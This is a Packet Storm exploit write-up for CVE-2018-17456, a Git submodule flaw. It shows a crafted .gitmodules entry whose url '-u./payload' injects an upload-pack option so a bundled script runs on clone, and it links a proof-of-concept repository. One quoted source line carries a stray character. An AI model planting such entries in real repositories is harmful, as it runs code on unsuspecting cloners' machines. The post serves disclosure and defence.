Git Submodule Arbitrary Code Execution

2018-10-17T00:00:00
ID PACKETSTORM:149836
Type packetstorm
Reporter joernchen
Modified 2018-10-17T00:00:00

Description

                                        
                                            `# CVE-2018-17456  
  
I've gotten a couple of questions about exploitation for the  
[recent RCE](https://marc.info/?l=git&m=153875888916397&w=2) in Git. So here we  
go with some technical details.  
  
## TL;DR  
  
[Here](https://github.com/joernchen/poc-submodule) is a PoC repository.  
EDB Note: Mirror ~ https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/45631.zip  
  
## Exploitation  
  
The `.gitmodules` file looks as follows:  
  
```  
[submodule "x:x"]  
path = x:x  
url = -u./payload  
```  
  
The actual command being injected is set by the url, `-u./payload`  
points the `upload-pack` flag of git clone to the `payload` shell  
script. Note also the `:` within the path, this part is needed to  
actually get the `payload` script executed.  
  
The path will end up as the repository URL in the subsequent `clone`  
operation:  
  
```  
execve("/usr/lib/git-core/git", ["/usr/lib/git-core/git", "clone",  
"--no-checkout", "--progress", "--separate-git-dir",  
"/tmp/huhu/.git/modules/x:x", "-u./payload", "/tmp/huhu/x:x"],...  
```  
  
As the actual URL from `.gitmodules` is interpreted as the `-u`  
argument.  
  
The colon is due to the fact, that the colon character let us go past  
those lines in `transport.c`:  
  
```c  
} else if (url_is_local_not_ssh(url) && is_file(url) && is_bundle(url, 1)) {  
struct bundle_transport_data *data = xcalloc(1, sizeof(*data));  
transport_check_allowed("file");  
ret->data = data;  
ret->vtable = &bundle_vtable;  
ret->smart_options = NULL;  
```  
  
Due to `url_is_local_not_ssh` will return false due to the colon  
in the path. And therefore later on in the code the smart_options  
containing the `uploadpack` setting are still in place:  
  
```c  
} else {  
/* Unknown protocol in URL. Pass to external handler. */  
int len = external_specification_len(url);  
char *handler = xmemdupz(url, len);  
transport_helper_init(ret, handler);  
}  
  
if (ret->smart_options) {  
ret->smart_options->thin = 1;  
ret->smart_options->uploadpack = "git-upload-pack";  
if (remote->uploadpack)  
ret->smart_options->uploadpack = remote->uploadpack;  
ret->smart_options->receivepack = "git-receive-pack";1  
if (remote->receivepack)  
ret->smart_options->receivepack = remote->receivepack;  
}  
```  
  
## Further hints  
  
The constraint to have a colon in the `path` seems to hinder exploitation on Windows  
as a colon is a forbidden character within a path on Windows. However as noted by  
some people during the disclosure: Git running within the Windows Subsystem for Linux or  
cygwin will allow exploitation on Windows hosts.  
  
Etienne Stalmans who found [a similar issue](https://staaldraad.github.io/post/2018-06-03-cve-2018-11235-git-rce/)  
earlier this year managed to exploit this argument injection [using `--template`](https://twitter.com/_staaldraad/status/1049241254939246592).  
  
`